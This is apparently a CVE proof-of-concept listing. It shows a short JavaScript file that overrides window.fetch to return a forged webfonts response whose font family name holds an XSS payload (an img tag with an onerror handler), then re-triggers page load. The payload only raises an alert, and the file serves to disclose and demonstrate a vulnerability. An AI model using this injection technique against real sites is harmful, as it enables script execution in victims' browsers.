4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / poc.js JS
window.__origFetch = window.fetch;
window.fetch = async function (input, init) {
  const url = (typeof input === 'string') ? input : input?.url;
  if (url && url.includes('webfonts')) {
    return new Response(JSON.stringify({
      kind: "webfonts#webfontList",
      items: [
        {
          family: `"><img src=x onerror="alert('https://dylandavis1.github.io/')">`,
          category: "serif"
        }
      ]
    }), {
      status: 200,
      headers: { "Content-Type": "application/json" }
    });
  }
  return window.__origFetch.apply(this, arguments);
};

// Run this after:
// document.dispatchEvent(new Event('DOMContentLoaded'));